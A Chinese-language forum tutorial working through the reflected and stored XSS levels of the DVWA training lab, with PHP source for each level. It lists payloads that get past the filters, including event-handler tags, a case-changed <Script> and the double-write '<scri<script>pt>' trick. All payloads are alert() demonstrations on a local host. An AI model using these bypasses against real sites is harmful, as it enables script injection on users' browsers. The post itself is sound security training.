    l 反射型XSS只是简单地将用户输入的数据直接或未经完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据;
    l 由于此种类型的跨站代码存在于URL中,所以攻击者通常需要通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户,当用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
    DVWA漏洞靶场中练习

    Low源码
    D:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\xss_s\source\low.php
    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }

    ?>
    代码直接引用了name参数,没有任何过滤,存在明显的xss漏洞
    输入1:<script>alert(/xss/)</script>

    【补充:image onerror事件
     onerror事件会在文档或图像加载过程中发生错误时被触发】
    输入2:<img src=x>
    x图片不存在,弹出窗口“图片不能加载”
    源码:
            <pre>Hello <img src=[url=view-source:http://127.0.0.1/dvwa-master/vulnerabilities/xss_r/x]x[/url] onerror="alert('图片不能加载')"></pre>

    输入3:

    <svg onload=alert(1)>
    <svg onload=alert(/xss/)>
    <svg onload=alert(‘xss’)>
    <body onload=alert(/xss/)>
    <body onload=alert(‘xss’)>
    出现弹窗
    【补充:
     onload 事件会在页面或图像加载完成后立即发生。
     onload 通常用于 <body> 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码。
     https://www.runoob.com/jsref/event-onload.html
    源码:
      <pre>Hello <svg onload=alert('xss')></pre>
    输入4:
    <a href='javascript:alert(/xss/)'>javascript</a>



    Medium源码
    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );

        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }

    ?>
    此处用到了函数str_replace(),用于替换字符串中的一些字符(区分大小写)
    str_replace(find,replace,string,count)
    例:
    把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":
    <?php
    echo str_replace("world","Peter","Hello world!");
    ?>
    参考:https://www.runoob.com/php/func-string-str-replace.html
    所以medium对输入进行了过滤,输入<script>会被替换。
    输入1:<script>alert(/xss/)</script>,没有出现弹窗
    源码:<pre>Hello alert(/xss/)</script></pre>
    所以这里是把<script>给替换掉了,但是这个函数其实有个漏洞,区分大小写
    输入这样的语句(大小写语句)
    输入2:<Script>alert(/xss/)</script>
    出现弹窗
    源码:<pre>Hello <Script>alert(/xss/)</script></pre>
    输入3:
    <body onload=alert(/xss/)>
    <svg onload=alert(/xss/)>
    出现弹窗
    源码:<pre>Hello <body onload=alert(/xss/)></pre>
    输入4:
    <img src=x onerror=alert(/xss/)>
    出现弹窗
    源码:<pre>Hello <img src=[url=view-source:http://127.0.0.1/dvwa-master/vulnerabilities/xss_r/x]x[/url] onerror=alert(/xss/)></pre>
    采用双写绕过,
    输入5:
    <scri<script>pt>alert(/xss/)</script>
    出现弹窗
    源码:<pre>Hello <script>alert(/xss/)</script></pre>
    str_replace()函数把包裹在外层的<script>给过滤掉了,里面的保留。

    输入6:<a href='javascript:alert(/xss/)'>javascript</a>
    点击后有弹窗
    源码:<pre>Hello <pre>Hello <a href='javascript:alert(/xss/)'>javascript</a></pre></pre>





    High源码:
    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }

    ?>
    此处有函数preg_replace,执行一个正则表达式的搜索和替换
    输入1:<script>alert(/xss/)</script>
    无弹窗,preg_replace将<script都替换了
    源码:<pre>Hello ></pre>
    含有<script的语句都不可绕过。
    输入2:
    <body onload=alert(/xss/)>
    <svg onload=alert(/xss/)>
    <img src=x onerror=alert(/xss/)>
    出现弹窗,返回hello
    源码:<pre>Hello <body onload=alert(/xss/)></pre>
    输入3:<a href='javascript:alert(/xss/)'>javascript</a>
    页面只返回hello
    源码:<pre>Hello </a></pre>




    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    1

    主题

    10

    帖子

    39

    积分

    新手上路

    Rank: 1

    积分
    39
     楼主| 发表于 2020-11-9 15:33:58 | 显示全部楼层
    2. 存储型XSS(持久型XSS)
    l 存储型XSS脚本攻击是指由于web应用程序对用户输入数据的不严格,导致web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中;
    l 攻击脚本将被永远地存放在目标服务器的数据库或文件中,具有很高的隐蔽性;
    l 当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行展示,进而导致跨站脚本代码的攻击。

    Low源码
    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

       // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();
    }

    ?>
    只看input部分代码
    Message input中有一个函数stripslashes,用于删除由addslashes()函数添加的反斜杠\
    addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。】
    所以没有任何过滤
    https://www.runoob.com/php/func-string-stripslashes.html
    输入之前改一下字数限制
    <td>
    <input type="text" maxlength="10" size="30" name="txtName">
    </td>
    长度10改成了50
    Name框中
    输入1:
    <script>alert(/xss/)</script>
    出现弹窗,再跳转到其他页面中,弹窗仍然出现;
    因为是存储型xss,每次登陆该页面,就会出现弹窗
    源码:<div id="guestbook_comments">Name: alert(/xss/)</script><br />Message: 1<br /></div>
    输入2:
    <body onload=alert(/xss/)>
    出现弹窗
    源码:<div id="guestbook_comments">Name: <body onload=alert(/xsss/)><br />Message: 1<br /></div>



    Medium源码:
    <?php

    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );

        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );

        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();
    }

    ?>
    先输入常见语句
    输入1:
    <script>alert(/xss/)</script>
    未出现弹窗
    <div id="guestbook_comments">Name: alert(/xss/)</script><br />Message: 1<br /></div>
    <script>被过滤了
    输入2:
    <body onload=alert(/xss/)>
    出现弹窗
    <div id="guestbook_comments">Name: <body onload=alert(/xss/)><br />Message: 1<br /></div>        <br />
    输入3:
    <scri<script>pt>alert(/xss/)<script>
    出现弹窗
    <div id="guestbook_comments">Name: <script>alert(/xss/)<br />Message: 1<br /></div>
    输入4:
    <Script>alert(/xss/)<script>
    出现弹窗
    <div id="guestbook_comments">Name: <Script>alert(/xss/)<br />Message: 1<br /></div>

    High源码
    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        //mysql_close();
    }
    ?>
    原理同反射型xss
    Impossible(不可绕过)
    反射型为例
    源码:
    <?php
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    输入1:
    <script>alert(/xss/)</script>
    无弹窗,且返回Hello <script>alert(/xss/)</script>
    源码:
    <pre>Hello <script>alert(/xss/)</script></pre>
    观察发现<>都被转换了
    Impossible的源码中有一个函数htmlspecialchars( $_GET[ 'name' ] );
    该函数把一些预定义的字符转换为 HTML 实体。
    预定义的字符是:
    & (和号)成为 &
    " (双引号)成为 "
    ' (单引号)成为 '
    < (小于)成为 <
    > (大于)成为 >
    函数输入的<>给过滤掉了
    impossible存储型源码:
    <?php
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO:ARAM_STR );
        $data->bindParam( ':name', $name, PDO:ARAM_STR );
        $data->execute();
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    源码中有函数htmlspecialchars( );所以原理同反射型xss
    尝试一些语句
    <script>alert(/xss/)</script>
    无弹窗,返回
    Name: <body onload=alert(/xsss/)>
    Message: 1

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-4-16 23:39 , Processed in 0.028617 second(s), 19 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表